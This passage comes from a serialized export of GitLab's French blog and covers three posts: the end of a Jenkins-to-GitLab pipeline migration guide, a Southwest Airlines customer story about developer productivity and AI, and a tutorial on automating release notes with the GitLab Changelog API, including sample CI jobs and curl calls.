in this job.\n  artifacts:\n    paths:\n      - bin/meow-micro\n```\n\nComme vous l'avez peut-être remarqué, il existe de nombreuses similitudes entre Jenkins et GitLab en termes de syntaxe, ce qui simplifie la migration du pipeline. Bien que l'exemple ci-dessus fournisse une vue d'ensemble basique, assurez-vous de consulter la liste complète des [comparaisons de fonctionnalités et de concepts](https://docs.gitlab.com/ee/ci/migration/jenkins.html#comparison-of-features-and-concepts) entre les deux outils.\n\nMaintenant que nous comprenons comment transposer Jenkins à GitLab, nous pouvons commencer à créer un pipeline avec les mêmes fonctionnalités dans GitLab. Pour effectuer la migration de votre [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), suivez les étapes suivantes :\n\n##### 1. Ouvrez le dépôt que vous avez migré vers GitLab dans la section ci-dessus.\n- Dans la barre latérale de gauche, en haut, sélectionnez **Rechercher ou accéder à...**\n- Localisez votre projet.\n\n##### 2. Ouvrez l'[éditeur de pipeline](https://docs.gitlab.com/ee/ci/pipeline_editor/).\n- Dans la barre latérale de gauche, sélectionnez **Compilation > Éditeur de pipeline**.\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176026/Blog/ecp4jh7epho2oxuegaor.png\" alt=\"Pipeline editor menu\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n- Cliquez sur le bouton **Configurer le pipeline**.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176029/Blog/nypfh01zhwgvzqc0xz3v.png\" alt=\"Configure pipeline selection\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n##### 3. Complétez le fichier [.gitlab-ci.yml](https://docs.gitlab.com/ee/ci/yaml/).\n- Ajoutez le code du pipeline GitLab CI. \n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176031/Blog/nxi6uxxispyyoiiyvxyg.png\" alt=\"Pipeline editor input\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n- Vérifiez que la syntaxe est correcte.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176037/Blog/x3d4utfsnymye0lvphtf.png\" alt=\"Pipeline syntax validation\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n- Visualisez le pipeline.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176043/Blog/hipzofpyywjxf62edzfv.png\" alt=\"Pipeline visualization\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n##### 4. Validez le fichier dans la branche principale.\n- Ajoutez un message de validation.\n- Assurez-vous que la branche est définie sur la branche principale.\n- Cliquez sur le bouton __Valider les modifications__.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176048/Blog/nn8bl7rdysabccoycfrk.png\" alt=\"Commit changes dialog\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nUne fois le fichier fusionné, le pipeline défini s'exécute. Vous pouvez revenir à votre projet et [observer le pipeline](https://docs.gitlab.com/ee/ci/pipelines/#view-pipelines) en action en le sélectionnant sur la page **Compilation > Pipelines** de votre projet. Comme il a été exécuté sur la branche **principale**, vous ne verrez que les jobs **create-binary** et **unit-tests**. Le job **staging-deploy** s'exécute uniquement sur la branche de préproduction.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176051/Blog/wfb4k8nkzpg28kpf2pzz.png\" alt=\"Pipeline running on main branch\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nSi nous créons une branche de préproduction, le pipeline suivant s'exécute.\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176053/Blog/e2jxedpolaniotgixpby.png\" alt=\"Pipeline running on staging branch\">\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nEn cliquant sur un job, nous pouvons voir la sortie associée :   \n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176056/Blog/fywzwbzkwcvc9zzakilh.png\" alt=\"create-binary job output\">\n   \u003Cfigcaption>Sortie du job create-binary\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176061/Blog/ekmpd8ecanwwiena9xi9.png\" alt=\"unit-tests job output input\">\n   \u003Cfigcaption>Entrée/sortie du job unit-tests\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\n\u003Ccenter>\n\u003Cfigure>\n   \u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752176065/Blog/h7nqxszy50xdmnvhalfq.png\" alt=\"staging-deploy job output\">\n   \u003Cfigcaption>Sortie du job staging-deploy\u003C/figcaption>\n\u003C/figure>\n\u003C/center>\n\u003Cp>\u003C/p>\n\nL'artefact est stocké dans le job __create-binary__ et utilisé dans le job __staging-deploy__. Et voilà, la migration d'un pipeline de Jenkins vers GitLab est aussi simple que cela !\n\n### Autres conseils à suivre lors de la migration\nVoici quelques conseils pratiques pour simplifier le processus de déploiement :\n\n- N'essayez pas de répliquer les tâches dans des jobs GitLab une à une. Prenez le temps de comprendre le fonctionnement du pipeline actuel et quel problème il résout.\n\n- Certains jobs Jenkins peuvent être trop complexes pour être migrés immédiatement vers GitLab. Il peut donc s'avérer pratique d'utiliser le [plug-in Jenkins GitLab](https://plugins.jenkins.io/gitlab-plugin/) pour lancer les pipelines Jenkins et afficher leurs résultats directement depuis GitLab. Cela vous permet de migrer lentement certaines actions vers GitLab jusqu'à ce que l'ensemble du pipeline puisse être déplacé.\n\n- Mettez en œuvre des [scanners de sécurité et une vérification de la qualité du code](https://docs.gitlab.com/ee/user/application_security/) à l'aide de templates intégrés fournis par GitLab. Cela vous permettra d'intégrer la sécurité en amont et ainsi de réduire le risque potentiel de failles. Simplifiez votre configuration CI/CD et essayez d'utiliser les avantages de chaque fonctionnalité sans tarder. Modularisez le code et implémentez-le en petites itérations.\n\n- Mettez en place le suivi et la gouvernance dès le départ.\n\n- Sachez que GitLab Runner (Go) peut se comporter différemment de l'agent Jenkins (Java). L'utilisation du processeur et la consommation de mémoire peuvent différer. Pensez à effectuer des comparaisons au fil du temps.\n\n- Envisagez d'investir dans des mécanismes de mise à l'échelle automatique et arrêtez les ressources inutiles le week-end ou en dehors des heures de travail.\n\n- Modernisez le développement d'applications en conteneurisant vos jobs. Les jobs Jenkins ne sont pas actuellement exécutés sur un conteneur, mais sur un agent Jenkins s'exécutant en tant que machine virtuelle.\n\nBien que cette liste ne soit pas exhaustive, elle constitue un bon point de départ. Si vous avez besoin d'une aide supplémentaire, GitLab fournit des [services professionnels](https://about.gitlab.com/fr-fr/get-help/) pour vous aider dans votre parcours de migration.\n\n### Conclusion\n\nMerci de votre intérêt pour cet article ! Nous espérons que ce guide vous a aidé à comprendre les avantages d'une migration de Jenkins vers GitLab, et comment procéder. \n\nVous hésitez encore ? [Essayez GitLab gratuitement](https://about.gitlab.com/fr-fr/free-trial/) et découvrez les avantages de notre plateforme DevSecOps.\n\nRessources complémentaires : \n\n- [Migration depuis Jenkins](https://docs.gitlab.com/ee/ci/migration/jenkins.html)\n- [Planification d'une migration](https://docs.gitlab.com/ee/ci/migration/plan_a_migration.html)\n- [Outils d'importation de projets GitLab](https://docs.gitlab.com/ee/user/project/import/)\n- [Migrer de GitHub Advanced Security vers GitLab Ultimate : notre guide complet](https://about.gitlab.com/fr-fr/blog/migration-guide-github-advanced-security-to-gitlab-ultimate/)\n- [Vidéo : Migration facile de GitHub vers GitLab](https://youtu.be/0Id5oMl1Kqs?feature=shared)\n- [De Jenkins vers GitLab : le guide ultime pour moderniser votre environnement CI/CD](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n",[110,784],"2025-03-18",{"slug":3022,"featured":92,"template":683},"jenkins-to-gitlab-migration-made-easy","content:fr-fr:blog:jenkins-to-gitlab-migration-made-easy.yml","Jenkins To Gitlab Migration Made Easy","fr-fr/blog/jenkins-to-gitlab-migration-made-easy.yml","fr-fr/blog/jenkins-to-gitlab-migration-made-easy",{"_path":3028,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3029,"content":3035,"config":3042,"_id":3044,"_type":16,"title":3045,"_source":17,"_file":3046,"_stem":3047,"_extension":20},"/fr-fr/blog/southwest-looking-to-help-developers-take-flight",{"ogTitle":3030,"schema":3031,"ogImage":3032,"ogDescription":3033,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":3034,"title":3030,"canonicalUrls":3034,"description":3033},"Southwest Airlines transforme son développement avec GitLab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment Southwest Airlines transforme ses pratiques de développement logiciel avec GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2024-01-30\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665272/Blog/Hero%20Images/AdobeStock_380312133.jpg","Découvrez comment les équipes DevOps de la compagnie aérienne augmentent leur capacité à détecter et à résoudre les problèmes avec GitLab.","https://about.gitlab.com/blog/southwest-looking-to-help-developers-take-flight",{"title":3030,"description":3033,"authors":3036,"heroImage":3032,"date":3038,"body":3039,"category":1806,"tags":3040},[3037],"Sharon Gaudin","2024-01-30","Southwest Airlines Co. met tout en œuvre pour faciliter le travail de ses équipes de développement.  \n\nLes responsables informatiques de la plus grande compagnie aérienne low-cost au monde s'emploient à éliminer les tâches chronophages et répétitives des workflows de leurs équipes. L'objectif vise à leur faire gagner un temps précieux pour qu'elles se consacrent à des projets à forte valeur ajoutée.\n\n*« Notre approche consiste à éliminer les obstacles qui ralentissent le travail de nos équipes »*, déclare Jim Dayton, Vice President et CISO de Southwest Airlines. *« Je suis fermement convaincu que la plupart des développeurs et développeuses choisissent ce métier pour sa part de créativité. Résoudre les problèmes est leur cheval de bataille. Nous souhaitons donc leur faciliter la tâche et supprimer les obstacles qui entravent leur productivité. »*\n\nPour faire de cette idée une réalité, Jim Dayton s'appuie notamment sur la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") de GitLab.\n\nÀ l'occasion de son interview lors du [DevSecOps World Tour de GitLab](https://about.gitlab.com/events/devsecops-world-tour/) à Dallas, Jim Dayton a évoqué les efforts de Southwest Airlines pour soutenir ses équipes de développement et promouvoir leur travail. Lors de son échange avec Reshmi Krishna, Director of Enterprise Solutions Architecture chez GitLab, il a partagé ses réflexions sur les avantages des fonctionnalités d'intelligence artificielle pour enrichir le travail de ses équipes.\n\nSouthwest Airlines a adopté une [approche DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que DevOps ? \") pour le développement d'applications offrant à ses équipes de développement davantage de fonctionnalités en libre-service et de processus de gestion des connaissances. *« Nous voulons permettre aux développeurs et développeuses d'identifier un problème dès qu'il survient, de trouver rapidement une solution et de limiter les interruptions causées par les changements de contexte »*, expose Jim Dayton. *« Il est essentiel de comprendre ce qui freine leur productivité. »*\n\nDepuis 2019, année où Southwest Airlines a entamé sa collaboration avec GitLab, l'entreprise s'est attachée à assurer la cohérence de ses processus de développement logiciel. Pour cela, elle a choisi de centraliser son code dans un dépôt GitLab partagé. En sachant précisément où l'ensemble du code est stocké, les équipes de développement peuvent évaluer plus facilement les indicateurs de performance et gagner en efficacité grâce à la réutilisation du code. \n\n*« Nous finalisons actuellement nos pipelines d'entreprise et la migration des équipes est imminente »*, annonce Jim Dayton. *« Nous collaborons étroitement avec nos nombreuses équipes de développement d'applications pour bien comprendre leurs attentes en matière de pipelines. La finalisation de ce projet est prévue pour la fin de l'année. »*\n\n### La promesse de l'IA\n\nL'utilisation de l'intelligence artificielle est un levier pour les équipes de développement. Elle leur permet notamment de se concentrer sur des tâches plus importantes et plus innovantes, comme le souligne Jim Dayton.\n\nL'IA générative, que ce soit sous la forme d'explications des vulnérabilités, de suggestions de code ou de complétion de code, a un impact considérable sur les workflows tout au long du cycle de vie du développement logiciel. L'intégration de l'IA dans une plateforme DevSecOps renforce la sécurité et réduit le temps consacré aux revues de code et au développement d'applications.\n\nJim Dayton se réjouit de pouvoir utiliser les fonctionnalités d'IA de GitLab pour accélérer et optimiser les processus de développement et de déploiement.\n\n*« Nous voulons éliminer autant que possible les tâches routinières et administratives »*, insiste Jim Dayton, qui considère que l'IA est extrêmement prometteuse, malgré ce que peut laisser penser le battage médiatique autour de cette technologie. *« L'IA nous aidera peut-être à atteindre cet objectif. Un jour, elle pourra sûrement fournir une solution immédiate à une vulnérabilité qui vient d'être identifiée ou expliquer à quoi sert une portion de code. Elle pourra aussi vous dire à quoi elle s'intègre, à quelles données elle accède et pourquoi. Elle pourra nous indiquer clairement, par exemple, qu'un bloc de code spécifique est responsable de 20 % des incidents survenus dans telle application l'année précédente. C'est en ce sens, je pense, que l'IA peut nous aider. »*, précise-t-il. \n\nJim Dayton estime que même si l'IA ne remplacera pas les équipes de développement, elle facilitera grandement leur travail et la communication entre les équipes, notamment dans un contexte où le télétravail s'est généralisé depuis la pandémie de COVID-19.\n\n*« La suggestion de relecteurs est une des fonctionnalités prévues dans la roadmap de [GitLab] »* mentionne Jim Dayton. *« Auparavant, pour obtenir de l'aide dans le cadre de revues de code, il suffisait de demander aux collègues qui partageaient votre bureau. Ce qui n'est plus aussi simple aujourd'hui. En revanche, l'IA peut désormais suggérer un relecteur ayant déjà contribué au code du projet ou résolu des incidents, et qui possède les compétences nécessaires. Ce qui apporte une réelle valeur ajoutée au processus de revue de code. Je pense que l'automatisation est la clé pour réduire le nombre d'étapes manuelles ou les délais d'attente. »*\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/UnUfp7pKnEQ?si=qcX2Qm3zpgQOV4xy\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n*Southwest Airlines est une société au chiffre d'affaires de près de 24 milliards de dollars basée à Dallas, au Texas. Avec 72 000 employés, elle dessert 120 destinations et effectue 4 000 vols par jour.  Southwest Airlines transporte plus de passagers via des vols nationaux que toute autre compagnie aérienne.*\n\nVous souhaitez en savoir plus sur GitLab ? Consultez nos [témoignages clients](https://about.gitlab.com/fr-fr/customers/).\n",[1420,3041,699,1809],"DevOps platform",{"slug":3043,"featured":6,"template":683},"southwest-looking-to-help-developers-take-flight","content:fr-fr:blog:southwest-looking-to-help-developers-take-flight.yml","Southwest Looking To Help Developers Take Flight","fr-fr/blog/southwest-looking-to-help-developers-take-flight.yml","fr-fr/blog/southwest-looking-to-help-developers-take-flight",{"_path":3049,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3050,"content":3055,"config":3061,"_id":3063,"_type":16,"title":3064,"_source":17,"_file":3065,"_stem":3066,"_extension":20},"/fr-fr/blog/tutorial-automated-release-and-release-notes-with-gitlab",{"ogTitle":3051,"schema":3052,"ogImage":757,"ogDescription":3053,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":3054,"title":3051,"canonicalUrls":3054,"description":3053},"Automatisez vos sorties et notes de version avec GitLab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutoriel : Automatisez vos sorties et notes de version avec GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ben Ridley\"}],\n        \"datePublished\": \"2023-11-01\",\n      }","Découvrez comment automatiser vos livraisons de logiciels avec l'API Changelog de GitLab : créez des artefacts, changelogs complets et notes de version clairs.","https://about.gitlab.com/blog/tutorial-automated-release-and-release-notes-with-gitlab",{"heroImage":757,"body":3056,"authors":3057,"updatedDate":1170,"date":3059,"title":3051,"tags":3060,"description":3053,"category":676},"**Mise à jour 2025** : l'API Changelog de GitLab continue d'évoluer et offre\ndésormais de nouvelles fonctionnalités avancées, telles que la génération de\nchangelogs personnalisés basés sur l'historique de vos commits. Ces\nnouveautés ne sont pas détaillées dans cet article, mais vous pouvez les\nconsulter dans notre[ documentation officielle dédiée aux\nchangelogs.](https://docs.gitlab.com/user/project/changelogs/)\n\n\nLorsque vous développez un logiciel dont les utilisateurs se servent au quotidien, il est essentiel de les informer des modifications apportées à chaque nouvelle version (nouvelles fonctionnalités, modifications ou suppressions). Ils peuvent ainsi tirer pleinement parti du logiciel et éviter les mauvaises surprises lors des mises à niveau.\n\n\nMais historiquement, rédiger les notes de version et maintenir un changelog ont toujours été des tâches laborieuses qui obligent les équipes et les Release Managers à passer au crible les modifications et l'historique des merge requests. Désormais, avec l'API Changelog de GitLab, vous pouvez tirer parti de l'historique détaillé des modifications enregistrées dans votre dépôt [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ?\") pour créer automatiquement des notes de version et tenir à jour votre changelog.\n\n\nDécouvrez dans ce tutoriel comment intégrer cette automatisation dans vos [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\").\n\n\n## Sorties de nouvelles versions dans GitLab\n\n\nDans GitLab, une nouvelle version correspond à une version spécifique de votre code, identifiée par un tag git. Elle regroupe les modifications apportées depuis la dernière version, les notes de version associées, ainsi que tous les artefacts générés à partir de cette version du code, tels que les images Docker, les paquets d'installation et la documentation.\n\n\nVous pouvez créer et suivre les sorties de ces nouvelles versions dans GitLab à l'aide de l'interface utilisateur en appelant notre API Release ou en définissant un job de `release` dans un pipeline CI. Nous utiliserons ce dernier dans ce tutoriel afin de bénéficier de l'automatisation déjà en place pour les tests, les scans du code et les autres étapes de validation, et d'automatiser également les sorties de nouvelles versions.\n\n\nNous devons d'abord disposer d'un historique clair de toutes les modifications apportées. C'est ce que fournit précisément le dépôt Git via les messages de commit et le suivi des merge requests. Ce dernier garantit une génération automatisée et fiable des notes de version et du changelog. \n\n\n## Lignes terminales dans un commit\n\n\nLes [lignes terminales dans un commit Git](https://git-scm.com/docs/git-interpret-trailers/fr) sont des métadonnées structurées ajoutées en fin de vos messages de commit, sous la forme simple `\u003CHEADER>:\u003CBODY>`. L'interface de ligne de commande `git` peut ensuite les analyser et les extraire pour les utiliser dans d'autres systèmes, par exemple via la commande `git commit --sign-off` qui permet de confirmer un commit en y ajoutant une ligne terminale `Signed-off-by: \u003CVotre nom>`. Vous pouvez y ajouter n'importe quelle information structurée. Il s'agit donc d'un emplacement idéal pour stocker des métadonnées, et dans notre exemple, pour générer automatiquement notre changelog.\n\n\nEn ajoutant la ligne terminale `Changelog: \u003Cadded/changed/removed>` à la fin de nos messages de commit, l'API Changelog de GitLab l'analysera et créera automatiquement un changelog.\n\n\nNous allons illustrer ce mécanisme en apportant quelques modifications à un code source existant afin de sortir une nouvelle version et de générer automatiquement ses notes de version et les entrées du changelog correspondant.\n\n\n## Exemple concret avec une application Python\n\n\nPartons d'un dépôt contenant une application web simple écrite en Python. Supposons que la version 1.0.0 de cette application vient de sortir et représente l'état actuel du code, et qu'elle a été créée manuellement dans GitLab, sans pipeline de sortie de nouvelle version automatisé :\n\n\n![Capture d'écran de l'interface utilisateur de GitLab montrant la sortie de la nouvelle version 1.0.0](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/1-0-release.png)\n\n\n## Modifications en vue de la version 2.0.0\n\n\nComme nous sommes en mode de développement rapide, nous allons travailler sur la sortie de la version 2.0.0 de notre application dès aujourd'hui. Celle-ci introduira une fonctionnalité de chatbot et supprimera la fonctionnalité de blockchain quantique, qui servait uniquement à impressionner les investisseurs lors de notre premier cycle de financement par capital-risque. Nous allons également ajouter un job de sortie de nouvelle version automatisé à notre pipeline CI/CD.\n\n\nTout d'abord, nous devons supprimer les fonctionnalités obsolètes à l'aide d'une merge request qui contient les suppressions nécessaires en veillant à ce que le message de commit inclue la ligne terminale `Changelog: removed`. Pour cela, nous pouvons par exemple l'inclure directement dans un commit, ou effectuer un [rebasage interactif](https://about.gitlab.com/fr-fr/blog/keep-git-history-clean-with-interactive-rebase/ \"Qu'est-ce que le rebasage interactif ?\") et l'ajouter à l'aide de l'interface de ligne de commande (CLI). \n\n\nMais dans notre exemple, nous traiterons cette étape en dernier, et utiliserons plutôt le bouton `Modifier le message de commit` dans GitLab pour ajouter la ligne terminale au commit comme suit :\n\n\n![Capture d'écran de l'interface utilisateur de GitLab montrant une merge request supprimant les fonctionnalités inutilisées](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/remove-unused-features-mr.png)\n\n\nVous pouvez également modifier le titre du commit pour qu'il soit plus concis. Nous allons donc renommer notre commit « Supprimer les fonctionnalités inutilisées », pour que ce titre apparaisse dans le changelog.\n\n\nEnsuite, ajoutons de nouvelles fonctionnalités pour la version 2.0.0. Là encore, il suffit d'ouvrir une autre merge request qui inclut nos nouvelles fonctionnalités, de modifier le commit pour inclure la ligne terminale `Changelog: added`, puis de modifier son titre pour qu'il soit plus concis :\n\n\n![Capture d'écran de l'interface utilisateur de GitLab montrant une merge request servant à ajouter de nouvelles fonctionnalités](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/add-chatbot-mr.png)\n\n\nNous sommes maintenant prêts à publier la version 2.0.0. Mais cette fois-ci, au lieu de la créer manuellement, nous allons ajouter les jobs nécessaires à notre fichier `.gitlab-ci.yml` : ils gèreront automatiquement la sortie de la nouvelle version à notre place et généreront les notes de version et les entrées du changelog lorsque nous ajouterons à notre code le tag `2.0.0` en référence à la nouvelle version.\n\n\n**Remarque :** pour ajouter facilement des lignes terminales de changelog, utilisez un outil comme [Danger, qui permet de vérifier automatiquement le respect des conventions dans les merge requests](https://docs.gitlab.com/ee/development/dangerbot.html).\n\n\n## Création d'un pipeline automatisé de sortie de nouvelle version\n\n\nLa première étape consiste à créer un token d'accès au projet qui nous permettra d'appeler l'API de GitLab afin de générer les entrées de notre changelog. [Créons un token d'accès au projet avec la portée de l'API](https://docs.gitlab.com/ee/user/project/settings/project_access_tokens.html#create-a-project-access-token), puis [stockons-le dans les variables CI/CD](https://docs.gitlab.com/ee/ci/variables/#define-a-cicd-variable-in-the-ui) du projet sous le nom `CI_API_JETON`. Nous référencerons cette variable à des fins d'authentification auprès de l'API.\n\n\nEnsuite, ajoutons deux nouveaux jobs à notre fichier `gitlab-ci.yml` :\n\n\n```yaml\n\nprepare_job:\n  stage: prepare\n  image: alpine:latest\n  rules:\n  - if: '$CI_COMMIT_TAG =~ /^v?\\d+\\.\\d+\\.\\d+$/'\n  script:\n    - apk add curl jq\n    - 'curl -H \"PRIVATE-TOKEN: $CI_API_TOKEN\" \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/repository/changelog?version=$CI_COMMIT_TAG\" | jq -r .notes > release_notes.md'\n  artifacts:\n    paths:\n    - release_notes.md\n\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  needs:\n    - job: prepare_job\n      artifacts: true\n  rules:\n  - if: '$CI_COMMIT_TAG =~ /^v?\\d+\\.\\d+\\.\\d+$/'\n  script:\n    - echo \"Creating release\"\n  release:\n    name: 'Release $CI_COMMIT_TAG'\n    description: release_notes.md\n    tag_name: '$CI_COMMIT_TAG'\n    ref: '$CI_COMMIT_SHA'\n    assets:\n      links:\n        - name: 'Container Image $CI_COMMIT_TAG'\n          url: \"https://$CI_REGISTRE_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA\"\n```\n\n\nDans notre configuration, le job `prepare_job` utilise `curl` et `jq` pour appeler le point de terminaison de l'API Changelog de GitLab, puis transmet le résultat à notre job `release_job` chargé de créer automatiquement la nouvelle version. \n\n\nVoici les principaux éléments à retenir :\n\n\n* Nous utilisons le token d'accès au projet créé précédemment pour appeler l'API Changelog de GitLab, qui génère les notes de version que nous stockons en tant qu'artefact.\n\n* Nous utilisons la variable `$CI_COMMIT_TAG` pour identifier la version. Pour que l'API Changelog fonctionne correctement, nous devons utiliser la gestion sémantique de version pour nos tags (par exemple, `2.0.0`). Nous avons également restreint le job de sortie de nouvelle version à l'aide d'une règle spécifique dans la section `rules`, qui vérifie la présence d'un tag de version sémantique.\n\n  * La gestion sémantique de version est nécessaire pour que l'API Changelog de GitLab déclenche le job. Elle utilise ce format pour trouver la version la plus récente à comparer à notre version actuelle.\n* Nous utilisons l'image `release-cli` officielle de GitLab, indispensable pour exploiter le terme `release` dans un job.\n\n* Nous utilisons le terme `release` pour créer une sortie de nouvelle version dans GitLab et pour le remplissage des champs obligatoires.\n\n* Nous pouvons transmettre un fichier en tant qu'argument pour la `description` de la nouvelle version. Dans notre exemple, il s'agit du fichier que nous avons généré lors du job `prepare_job`, puis transmis à ce job sous forme d'artefact.\n\n* Nous avons également inclus notre image de conteneur, qui a été compilée plus tôt dans le pipeline, en tant que ressource associée à la nouvelle version. Vous pouvez également y joindre les ressources de votre choix, générées lors de votre processus de compilation, telles que des binaires ou de la documentation, à condition de fournir l'URL redirigeant vers l'endroit où vous les avez chargés plus tôt dans le pipeline.\n\n\n## Automatisation d'une sortie de nouvelle version\n\n\nAvec cette configuration, il suffit d'effectuer le push d'un tag respectant notre schéma de gestion des versions vers notre dépôt à l'aide de la CLI ou comme dans notre exemple, directement depuis l'interface utilisateur de GitLab, sur la branche principale, en sélectionnant Code -> Tags -> Nouveau tag dans la barre latérale :\n\n![Capture d'écran de l'interface utilisateur de GitLab montrant comment créer un tag](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/create-2-tag.png)\n\n\nDès la création du tag, nos pipelines commenceront à s'exécuter automatiquement. L'API Changelog de GitLab génère alors des notes de version au format markdown contenant toutes les modifications apportées entre cette version et la version précédente. \n\n\nVoici un extrait du markdown généré dans notre exemple :\n\n\n```md\n\n## 2.0.0 (2023-08-25)\n\n\n### added (1 change)\n\n\n- [Add ChatBot](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo@0c3601a45af617c5481322bfce4d71db1f911b02) ([merge request](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo!4))\n\n\n### removed (1 change)\n\n\n- [Remove Unused Features](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo@463d453c5ae0f4fc611ea969e5442e3298bf0d8a) ([merge request](gl-demo-ultimate-bridley/super-devsecops-incorporated/simply-notes-release-demo!3))\n\n```\n\n\nComme vous pouvez le constater, GitLab a extrait automatiquement les entrées de nos notes de version à l'aide des lignes terminales que nous avons intégrées dans nos messages de commit Git. De plus, des notes incluent des liens vers la merge request associée pour accéder rapidement aux compléments d'information et discussions relatifs aux modifications.\n\n\nVoici notre nouvelle version 2.0.0 :\n\n![Interface utilisateur de la nouvelle version de GitLab montrant la nouvelle version 2.0.0](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/2-0-release.png)\n\n\n## Automatisation de la mise à jour du changelog\n\n\nPour maintenir à jour votre changelog (soit l'historique rassemblant toutes vos notes de version), vous pouvez effectuer une requête `POST` vers le point de terminaison de l'API Changelog utilisé précédemment.\n\n\nSi vous effectuez cette opération dans le cadre de votre pipeline de nouvelle version, intégrez cette étape en ajoutant ce qui suit à la section `script` de votre job de préparation :\n\n\n```sh\n\n'curl -H \"PRIVATE-TOKEN: $CI_API_TOKEN\" -X POST \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/repository/changelog?version=$CI_COMMIT_TAG\"\n\n```\n\n\n**Notez que cette opération modifie le dépôt** en créant un commit qui ajoute les notes de la nouvelle version à un fichier `CHANGELOG.md` :\n\n![Capture d'écran du dépôt montrant une validation mettant à jour le fichier changelog](https://about.gitlab.com/images/blogimages/2023-08-22-automated-release-and-release-notes-with-gitlab/changelog-api-commit.png)\n\n\nEt voilà, nous avons terminé ! En utilisant l'historique détaillé fourni par `git` avec quelques lignes terminales de commit pratiques, nous pouvons tirer parti de la puissante de l'API et des pipelines CI/CD de GitLab pour automatiser notre processus de sortie de nouvelle version et de génération de notes de version.\n\n\n> Pour découvrir le projet utilisé dans ce tutoriel, [consultez ce lien](https://gitlab.com/gitlab-learn-labs/sample-projects/release-automation-demo).\n",[3058],"Ben Ridley","2023-11-01",[1256,110,1420,784,1047],{"slug":3062,"featured":6,"template":683},"tutorial-automated-release-and-release-notes-with-gitlab","content:fr-fr:blog:tutorial-automated-release-and-release-notes-with-gitlab.yml","Tutorial Automated Release And Release Notes With 